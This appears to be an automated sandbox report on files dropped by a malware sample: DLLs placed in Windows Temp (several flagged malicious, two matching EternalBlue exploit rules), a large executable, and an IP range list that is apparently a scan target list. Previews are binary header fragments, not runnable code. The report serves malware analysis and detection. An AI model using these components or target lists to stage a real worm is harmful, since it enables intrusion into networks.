Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ty3kdyby.wth.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\cnli-1.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	100864
Entropy (8bit):	6.5974034404211235
Encrypted:	false
SSDEEP:	3072:LrZL1wTcqmJ3QthbjsKXhoF3P3aTCLEA7HHxJPt:LN47aF3CTC37H
MD5:	A539D27F33EF16E52430D3D2E92E9D5C
SHA1:	F6D4F160705DC5A8A028BACA75B2601574925AC5
SHA-256:	DB0831E19A4E3A736EA7498DADC2D6702342F75FD8F7FBAE1894EE2E9738C2B4
SHA-512:	971C7D95F49F9E1AE636D96F53052CFC3DBDB734B4A3D386346BF03CA78D793EAEE18EFCAE2574B88FDEE5633270A24DB6C61AA0E170BCC6D11750DBD79AD0AF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.w.............2Md.....2Mb.....2Mw.....2Mt.U...L..............2Mg..........................Rich............PE..L.....LO...........!.........\|............... ............................................@..........................7..UM...*..d...............................X....................................%..@............ ...............................text...V........................... ..`.rdata..Ud... ...f..................@..@.data...l............x..............@....reloc...............\|..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\coli-0.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.761304172445805
Encrypted:	false
SSDEEP:	192:c1VDVzDJuoJ/a8yRIB4Al4rKoRbFjGgGz3bG8sEwdCs8Ej2uHR0EhBkM2NFU+z4o:c1VxsoNKI++u1qz3K8BwxCO103z4VL2
MD5:	3C2FE2DBDF09CFA869344FDB53307CB2
SHA1:	B67A8475E6076A24066B7CB6B36D307244BB741F
SHA-256:	0439628816CABE113315751E7113A9E9F720D7E499FFDD78ACBAC1ED8BA35887
SHA-512:	D6B819643108446B1739CBCB8D5C87E05875D7C1989D03975575C7D808F715DDCCE94480860828210970CEC8B775C14EE955F99BD6E16F9A32B1D5DAFD82DC8C
Malicious:	true
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Windows\Temp\coli-0.dll, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Gj..&...&...&....y..&.......&....j..&....i.&...^...&......&...&..E&....z..&...^...&...^...&...^...&..Rich.&..........................PE..L...7.LO...........!.................'.......0...............................`............@..........................>......D4...............................P......................................P3..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data...\....@.......2..............@....reloc..(....P.......6..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\crli-0.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17408
Entropy (8bit):	5.756189024325687
Encrypted:	false
SSDEEP:	384://8GSU0q4AG2FuEe4k9k+kGP599OdcxwX6Sn+P47kAkluNO8Nofi/4Rtz://8GSU0qnhEEe4QTHP79OdcxwX6S+PQA
MD5:	F82FA69BFE0522163EB0CF8365497DA2
SHA1:	75BE54839F3D01DC4755DDC319F23F287B1F9A7B
SHA-256:	B556B5C077E38DCB65D21A707C19618D02E0A65FF3F9887323728EC078660CC3
SHA-512:	D9CFC2AF1C2E16171F3446991A3FFB441DB39BFAEA3C8993AACE632088EA1B3A64F81AAD10B0F8788804876C66374EDF0CB7ECB0D94005D648744E67AC537DB5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y..g...4...4...4:6.4...4:6.4...4:6.4...4:6.4]..4..O4...4D..4...4...4D..4:6.4...4.._4...4..N4...4..M4...4Rich...4................PE..L.....LO...........!.....,...........6.......@...............................p............@..........................D.......A..P............................`.......................................@..@............@..h............................text....+.......,.................. ..`.rdata..2....@.......0..............@..@.data...\....P.......:..............@....reloc..R....`.......>..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ctfmoon.exe

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9501960
Entropy (8bit):	7.0256823838767835
Encrypted:	false
SSDEEP:	196608:FQwfQzHzARHblaR6cnawftA3YTcd1Oc5h2D:dQTzuoRbBfQYT042YD
MD5:	1DE26EF85F7218E1DF4ED675FA2B05D4
SHA1:	E5217FA3B50F625D84D5E5C4B66C031F7A2446AE
SHA-256:	FDD762192D351CEA051C0170840F1D8D171F334F06313A17EBA97CACB5F1E6E1
SHA-512:	ADA80A9F97BEC76899ECCC40C646387A067A201663D4D0F4537AF450EA7C92DF877F017862634E32E9E2BA08CA6D41806DC03F0DFD7F811CA303B56B1AC17D92
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..........$"...........2/..H.......E........Y...@..........................`......;....@..................................0..........................+...@........................................................Y..............................text....0/......2/................. ..`.rdata..@v..P/..x..6/.............@..@.data....J....Y..H....Y.............@.../4......'.... c......._.............@..B/19....._n...0c..p...._.............@..B/32......c....k..d...hh.............@..B/46.....*.....m.......i.............@..B/65.....M.... m.......i.............@..B/78..........0\|.......x.............@..B/90.....`Y......Z...n..............@..B.idata.......0.....................@....reloc.......@.....................@..B.symtab......`........................B........................................................................................................

C:\Windows\Temp\dmgd-4.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	479744
Entropy (8bit):	6.050098948417828
Encrypted:	false
SSDEEP:	3072:VgSjV199+51p9xrQmd1xHQmh1t38lzwpzKVJV2E5Jp2rxrI1+uhHIZ+gHTTnIv+g:Vg1gm
MD5:	A05C7011AB464E6C353A057973F5A06E
SHA1:	E819A4F985657B58D06B4F8AD483D8E9733E0C37
SHA-256:	50F329E034DB96BA254328CD1E0F588AF6126C341ED92DDF4AEB96BC76835937
SHA-512:	7F8FCE95B08B0013C57BF05A34D320925E7007D4E82B9F62B7A609038494132F5B85C5918DE975C13591EC7A915C238896E9DD7C6A3626A3BB556E0E718BAD6D
Malicious:	true
Yara Hits:	Rule: Windows_Exploit_Eternalblue_ead33bf8, Description: unknown, Source: C:\Windows\Temp\dmgd-4.dll, Author: unknown
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E.!9..Oj..Oj..Oj&`2j..Oj&`4j..Oj&`!j..Oj&`"jA.Oj...j..OjX.\j..Oj..NjZ.Oj&`1j..Oj...j..Oj...j..Oj...j..OjRich..Oj........PE..L...3..Q...........!.....J..........tT.......`............................................@..........................d.......a..P............................p.......................................a..@............`..x............................text....H.......J.................. ..`.rdata.......`.......N..............@..@.data........p.......T..............@....reloc.......p.......F..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\exma-1.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	5.254000178697281
Encrypted:	false
SSDEEP:	192:+ouDzncwrjGQmzZbO8sEk3jMkx6VuxLj4l5JVIb/A:+xDz1azZa8Bkz5xDxH4xmk
MD5:	BA629216DB6CF7C0C720054B0C9A13F3
SHA1:	37BB800B2BB812D4430E2510F14B5B717099ABAA
SHA-256:	15292172A83F2E7F07114693AB92753ED32311DFBA7D54FE36CC7229136874D9
SHA-512:	C4F116701798F210D347726680419FD85880A8DC12BF78075BE6B655F056A17E0A940B28BBC9A5A78FAC99E3BB99003240948ED878D75B848854D1F9E5768EC9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...FD..FD..FDVc8D.FD.a;D.FD.a=D.FD.a(D.FD.a+D..FD..UD.FD..GD..FD.a8D..FD...D.FD...D..FD...D..FDRich..FD................PE..L...#.LO...........!................Z........0...............................`............@.........................p5..I...D2..P............................P......................................X1..@............0...............................text...v........................... ..`.rdata.......0......................@..@.data...\....@......................@....reloc.......P......."..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ip.txt

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13932
Entropy (8bit):	3.3309697155915394
Encrypted:	false
SSDEEP:	192:b0yCPEk+eMsJyynC0U3sO2yr0IYAWMNlcjNA7OO0XzMtZefGRKsC+UEQkXeR1TOq:b0RHR8Rr0cNOxMrfKsvfzt6DvLgxI
MD5:	FB76517BE0169FEC4EF2E3DB1824236D
SHA1:	B1BA32FAEBB8BC79CB8B2FAF3121C7FDE7D1DCFE
SHA-256:	9F281CC3B44DC6CDCCE6BE0349872BCC1E23E9D059BF217A88EE2503DFCE3126
SHA-512:	19812712DF4D9B2982DDD3B4A51011CC6E7212B70D74F65C7307756C5394FC11FF5B530C8226446B73D2D200B0015B225F6F54B2D25452CAD29968E27CBD0924
Malicious:	false
Reputation:	unknown
Preview:	192.168.0.1 192.168.255.255..119.90.0.0 119.90.255.255..45.32.0.0 45.32.255.255..107.23.0.0 107.23.255.255..88.150.0.0 88.150.255.255..52.0.0.0 52.0.255.255..123.103.0.0 123.103.255.255..134.213.0.0 134.213.255.255..139.198.0.0 139.198.255.255..69.172.0.0 69.172.255.255..146.185.0.0 146.185.255.255..131.153.0.0 131.153.255.255..47.96.0.0 47.96.255.255..195.80.0.0 195.80.255.255..209.213.0.0 209.213.255.255..39.99.0.0 39.99.255.255..192.0.0.0 192.0.255.255..185.5.0.0 185.5.255.255..104.196.0.0 104.196.255.255..183.181.0.0 183.181.255.255..47.98.0.0 47.98.255.255..108.168.0.0 108.168.255.255..216.178.0.0 216.178.255.255..198.15.0.0 198.15.255.255..108.161.0.0 108.161.255.255..150.138.0.0 150.138.255.255..173.230.0.0 173.230.255.255..118.107.0.0 118.107.255.255..119.3.0.0 119.3.255.255..198.143.0.0 198.143.255.255..198.46.0.0 198.46.255.255..23.111.0.0 23.111.255.255..35.173.0.0 35.173.255.255..61.147.0.0 61.147.255.255..173.236.0.0 173.236.255.255..39.107.0.0 39.107.255.255..106.10.0.0 1

C:\Windows\Temp\libeay32.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	903168
Entropy (8bit):	6.889730101758065
Encrypted:	false
SSDEEP:	12288:G8Vbf1xLg6nelYgv1GZzd6qNvFBMhLG/SV2qvteuhNJspc4z84mbKeV4gbU:bo1v1GZFNvDya/SVQuhN2p9z84m3e+U
MD5:	F01F09FE90D0F810C44DCE4E94785227
SHA1:	036F327417B7E1C6E0B91831440992972BC7802E
SHA-256:	5F30AA2FE338191B972705412B8043B0A134CDB287D754771FC225F2309E82EE
SHA-512:	90FFB4E11AB1227AFDA2F08D72D06AEDF663A28A47FCCD9C032F4044AA497093AC774E20860913D5123CC3143CB9B7DBDDA363B3F58473508027508E07C4EF12
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........$...E.L.E.L.E.L]..L.E.L..L.E.L..L.E.L..L.E.L..L.E.L.=.L.E.L.f.L.E.L.E.L.E.L..L.E.L.=.L1D.L.E.L.E.L.=.L.E.L...L.E.L.=.L.E.LRich.E.L........PE..L...a.LO...........!.....V..........G`.......p...............................0...........................................h..............@...............................................................@............p..x............................text....T.......V.................. ..`.rdata.......p.......Z..............@..@.data........`.......<..............@....rsrc...@...........................@..@.reloc...............4..............@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Temp\libxml2.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	826368
Entropy (8bit):	6.856248953756473
Encrypted:	false
SSDEEP:	12288:OhdWYPkG1r0VtrTMhsGCQcdGfGwKaNAu5uld+tirrmrx+448+:4lPpr0PsBCfYfGg6t3rm
MD5:	9A5CEC05E9C158CBC51CDC972693363D
SHA1:	CA4D1BB44C64A85871944F3913CA6CCDDFA2DC04
SHA-256:	ACEB27720115A63B9D47E737FD878A61C52435EA4EC86BA8E58EE744BC85C4F3
SHA-512:	8AF997C3095D728FE95EEEDFEC23B5D4A9F2EA0A8945F8C136CDA3128C17ACB0A6E45345637CF1D7A5836AAA83641016C50DBB59461A5A3FB7B302C2C60DFC94
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............u...u...u..j....u......u......u......u......u..V...u...u..Xu....M..u......u....\..u...._..u..Rich.u..........PE..L.....LO...........!.....&........... .......@......................................................................P_.......W..P............................`..Ht...................................V..@............@...............................text....%.......&.................. ..`.rdata.......@.......*..............@..@.data....$...0......................@....reloc...y...`...z..."..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\posh-0.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.766003132356282
Encrypted:	false
SSDEEP:	192:BNn+r+YB4cdCjWXGyby8Eaw5Xs+dNjnGy6W4l5t1Ib/X:BdW+k4z3yu8rwy+dNjnGlW40
MD5:	2F0A52CE4F445C6E656ECEBBCACEADE5
SHA1:	35493E06B0B2CDAB2211C0FC02286F45D5E2606D
SHA-256:	CDE45F7FF05F52B7215E4B0EA1F2F42AD9B42031E16A3BE9772AA09E014BACDB
SHA-512:	88151CE5C89C96C4BB086D188F044FA2D66D64D0811E622F35DCEAADFA2C7C7C084DD8AFB5F774E8AD93CA2475CC3CBA60BA36818B5CFB4A472FC9CEEF1B9DA1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........P.#.1kp.1kp.1kp...p.1kp...p.1kp...p.1kp...p.1kp..xp.1kp.1jp.1kp...p.1kp.I.p.1kp.I.p.1kp.I.p.1kpRich.1kp................PE..L.....LO...........!................%........0...............................`............@......................... 8.......6..<............................P..0....................................5..@............0..T............................text...6........................... ..`.rdata.......0......................@..@.data...\....@......."..............@....reloc..h....P.......&..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ssleay32.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	6.486623727210775
Encrypted:	false
SSDEEP:	3072:mLTO9u7hG/sRtbvSRvkFKSmxuMy2n+WztW56X3AdGa1XW3VL7uGLnPhanJE+hX:eyg7hztbvSRvkWxuMlndzouWnmPLcnJ
MD5:	5E8ECDC3E70E2ECB0893CBDA2C18906F
SHA1:	43F92D0E47B1371C0442C6CC8AF3685C2119F82C
SHA-256:	BE8EB97D8171B8C91C6BC420346F7A6D2D2F76809A667ADE03C990FEFFADAAD5
SHA-512:	B41A1B7D149E8D67881A4CB753D44BE0C978577159315025E03A90EFBE5157FC7E5F6DEB71A4C66739302987406CA1410973F8598220DE4D89EBC4FCB3C18AF5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2...\...\...\..O...\..n!...\..n'...\..n2...\..n1..\......\...]..\..n"...\......\......\......\......\.Rich..\.................PE..L...w.LO...........!................<...............................................................................pu..A....n..P.......@...........................................................(m..@............................................text...V........................... ..`.rdata..............................@..@.data...T+.......(..................@....rsrc...@...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\tibe-2.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	237568
Entropy (8bit):	6.5907290500598075
Encrypted:	false
SSDEEP:	3072:GQng3MAngh6CNXfdUrYSaocn484kQL93ZnV6Bbf5+1qo3/mlch9VQ816oPYQ3:GwkQf4q481Qx3hV6Bbf5+1qbch9V91J
MD5:	F0881D5A7F75389DEBA3EFF3F4DF09AC
SHA1:	8404F2776FA8F7F8EAFFB7A1859C19B0817B147A
SHA-256:	CA63DBB99D9DA431BF23ACA80DC787DF67BB01104FB9358A7813ED2FCE479362
SHA-512:	F266BAECAE0840C365FE537289A8BF05323D048EF3451EBFFBE75129719C1856022B4BDDD225B85B6661BBE4B2C7AC336AA9EFDEB26A91A0BE08C66A9E3FE97E
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........!Q..rQ..rQ..rv[.rX..rv[.rS..rv[.r^..rv[.r...rX.lrS..r...rT..rQ..r..rv[.rP..rX.\|rv..rX.mrP..rX.nrP..rRichQ..r................PE..L...5.LO...........!................>&.......0............................................@.........................@@...J..D;..d...................................................................X:..@............0..P............................text............................... ..`.rdata...Z...0...\... ..............@..@.data................\|..............@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\trch-1.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	59904
Entropy (8bit):	6.384962040154663
Encrypted:	false
SSDEEP:	768:9fo4XJn+xrNRFydS3allJVAI5az6oL5BsterNpGEi1Yt4KH8va:9DurNRFoS38lJD+B4te5pGjY+da
MD5:	838CEB02081AC27DE43DA56BEC20FC76
SHA1:	972AB587CDB63C8263EB977F10977FD7D27ECF7B
SHA-256:	0259D41720F7084716A3B2BBE34AC6D3021224420F81A4E839B0B3401E5EF29F
SHA-512:	BCCA9E1E2F84929BF513F26CC2A7DC91F066E775EF1D34B0FB00A54C8521DE55EF8C81F796C7970D5237CDEAB4572DEDFD2B138D21183CB19D2225BDB0362A22
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c...c...c...D}.d...D}.a...D}..l...D}..\...j...g...:...`...c.....D}.b...j..."...j...b...j...b...Richc...........................PE..L.....LO...........!.........F......f.....................................................@.........................P....!..D...d...............................@...................................P...@...............0............................text...r........................... ..`.rdata...........0..................@..@.data...............................@....reloc..H...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\trfo-2.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29696
Entropy (8bit):	6.547296626785163
Encrypted:	false
SSDEEP:	768:NluruFqeE4KRu8B/4VHNaEoPw6HtFhCC48qkfg:Nlu0EDRTl4VHkw6NLA8
MD5:	3E89C56056E5525BF4D9E52B28FBBCA7
SHA1:	08F93AB25190A44C4E29BEE5E8AACECC90DAB80C
SHA-256:	B2A3172A1D676F00A62DF376D8DA805714553BB3221A8426F9823A8A5887DAAA
SHA-512:	32487C6BCA48A989D48FA7B362381FADD0209FDCC8E837F2008F16C4B52AB4830942B2E0AA1FB18DBEC7FCE189BB9A6D40F362A6C2B4F44649BD98557ECDDBB6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........c...........................................z_......!......................zO......z^......z].....Rich............................PE..L.....LO...........!.....V..........@`.......p............................................@.........................`z..G....v..x....................................................................t..@............p...............................text...&U.......V.................. ..`.rdata.......p.......Z..............@..@.data................j..............@....reloc...............n..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\tucl-1.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	5.458439359139689
Encrypted:	false
SSDEEP:	192:EXTHmlw2IjGFKL6rBbnbO8slVnZp7snHQNv8uU4l5XLIb/p2:yHm218DrB768mFZxsKv8v4/cF2
MD5:	83076104AE977D850D1E015704E5730A
SHA1:	776E7079734BC4817E3AF0049F42524404A55310
SHA-256:	CF25BDC6711A72713D80A4A860DF724A79042BE210930DCBFC522DA72B39BB12
SHA-512:	BD1E6C99308C128A07FBB0C05E3A09DBCF4CEC91326148439210077D09992EBF25403F6656A49D79AD2151C2E61E6532108FED12727C41103DF3D7A2B1BA82F8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b.1.1.1.[.1...1.[.1.1.[.1.1.[.1...1...1.1.1...1.[.1.1...1.1...1.1...1.1Rich.1................PE..L.....LO...........!......................... ...............................P............@......................... %......4"..<............................@..D...................................H!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...\....0......................@....reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ucl.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	6.672487827821247
Encrypted:	false
SSDEEP:	1536:ncZeBwroDJXSoY9/8qqG9aCapIu2GfUFd0:ZWrSJCoyUlG9sg0
MD5:	6B7276E4AA7A1E50735D2F6923B40DE4
SHA1:	DB8603AC6CAC7EB3690F67AF7B8D081AA9CE3075
SHA-256:	F0DF80978B3A563077DEF7BA919E2F49E5883D24176E6B3371A8EEF1EFE2B06A
SHA-512:	58E65CE3A5BCB65F056856CFDA06462D3FBCE4D625A76526107977FD7A44D93CFC16DE5F9952B8FCFF7049A7556B0D35DE0AA02DE736F0DAEEC1E41D02A20DAA
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~.......................m...............k.......~.......}.......................n.....................Rich....................PE..L...{.LO...........!.........,...................................................................................... ...........<.......................................................................................d............................text............................... ..`.rdata..............................@..@.data...\|...........................@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\x64.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	5.859670610907724
Encrypted:	false
SSDEEP:	1536:mKhAOwL4qeNWOsKSyCPQ2nqe04vP12JCpQsWBhyd09dl95i6X5:mKhAOwIoKzC4ok4v8Mp06Mn5i6X
MD5:	B84A5BFEBF7547ACFF517A5C25E793FF
SHA1:	B12CEDAC0AE95EAC7E11931100FC84D2AD65AEB1
SHA-256:	59B0B9DD9DE06B2E76B795BAF512FDA972BBBA1B31CB80877F571448F1D4EB3B
SHA-512:	27DDB532E5A794660E1E927B80F06378C623081F169C8926AD7829DFDC90F5937B1BC2B336D2D934FC088CC919576DFD01853D08D3DF94F052733AA687BFF7D9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m0.J)Q..)Q..)Q..=:.."Q..=:..,Q..=:...Q..E%..4Q..E%..'Q..E%.. Q..=:...Q..)Q..~Q...%..+Q...%9.(Q...%..(Q..Rich)Q..........PE..d.....rf.........." ......................................................................`..................................................U..P...............8...............0....F..p............................F..8...............@............................text...p........................... ..`.rdata..............................@..@.data........`.......D..............@....pdata..8............N..............@..@_RDATA...............\..............@..@.rsrc................^..............@..@.reloc..0............`..............@..B................................................................................................................................................................................................................

C:\Windows\Temp\x86.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	6.158337153622179
Encrypted:	false
SSDEEP:	1536:xcVv4zLxmYa1fCwcUcnXCwdpZ4FbsW1HcdyOGii34:SVkmpfwUcnXJSF2yOGb34
MD5:	5FE93B95E12DA7EE849559AF8E847E04
SHA1:	7DA7CD31AF26306288750A0D45487B359D1146ED
SHA-256:	878035C419067A4D350682054D3D3D0024C278F068A08ADCDB3EF306930FCD99
SHA-512:	26F16EC6F86A926535054136F8A0132214A96041819E0279FC129DD8A96866DA01018D83E4D28F7B7F5B67CB08DAE6B86E4B2DDF4EFF566F302ECE01332949A3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@.. .~.s.~.s.~.s...r.~.s...r.~.s...r.~.sh..r.~.sh..r.~.sh..r.~.s...r.~.s.~.sW~.s...r.~.s..;s.~.s...r.~.sRich.~.s................PE..L.....rf...........!.........................................................`............@.....................................P....@.......................P...... ...p...............................@............................................text...(........................... ..`.rdata..dZ.......\..................@..@.data........ ......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\xdvl-0.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	6.4974965673672305
Encrypted:	false
SSDEEP:	768:ah/VicQqYL6tqi5CzTbvNJKMEKRW2FN4fn9n:ah/P5YJi5CzvvNJKMEX2FN4f9
MD5:	5B72CCFA122E403919A613785779AF49
SHA1:	F560EA0A109772BE2B62C539B0BB67C46279ABD1
SHA-256:	B7D8FCC3FB533E5E0069E00BC5A68551479E54A990BB1B658E1BD092C0507D68
SHA-512:	6D5E0FEF137C9255244641DF39D78D1180172C004882D23CF59E8F846726021BA18AF12DEB0E60DFE385F34D7FB42AE2B5E54915FFA11C42D214B4FBFAD9F39D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+_W"o>9qo>9qo>9qH.Dqh>9qH.Bqm>9qH.Wq`>9qH.Tq/>9qfF.qk>9q6.*ql>9qo>8q.>9qH.Gqn>9qfF.qc>9qfF.qn>9qfF.qn>9qRicho>9q........................PE..L...9.LO...........!.....Z...(.......e.......p............................................@..........................x.......s..d...............................D....................................r..@............p...............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...t............p..............@....reloc..v............x..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\zlib1.dll

Download File

Process:	C:\Windows\Temp\MpMgSvc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	6.791137408021781
Encrypted:	false
SSDEEP:	1536:B/Dm7yqxVqWk9XZDGu8I+rnToIfnIOwIOkyk:B/DmWaq/9XZDwLTBfJmkyk
MD5:	E4AD4DF4E41240587B4FE8BBCB32DB15
SHA1:	E8C98DBCD20D45BBBBF4994CC4C95DFCF504C690
SHA-256:	AA8ADF96FC5A7E249A6A487FAAF0ED3E00C40259FDAE11D4CAF47A24A9D3AAED
SHA-512:	4AB69AB79B721B62F8A1194EB5D5B87E545F280D017EA736109E59C4DD47921AF63F135A2B7930A84649B5672F652831AA7E73EDD8AB6523E6D94C7D703F9716
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........G.j.).j.).j.).3.:.h.)..4W.o.).M6T.m.).j.(.5.).M6R.i.).M6G.e.).M6D.*.).c...e.).M6W.k.).c...k.).t...k.).c...k.).Richj.).................PE..L...l.LO...........!.........`...................LZ......................... ......+...........................................<...............................`.......................................@............................................text.............................. ..`.rdata...K.......L..................@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:joOOyha:joOOma
MD5:	4C249D0E2A8013312113FCFA315B5EAC
SHA1:	C7BD399E813ABE57B9C5020D6E63FD202677008D
SHA-256:	8645BE2C78C17DF5FEC6D6D87746077752EF19D56635C62FC7887FB46C312CDA
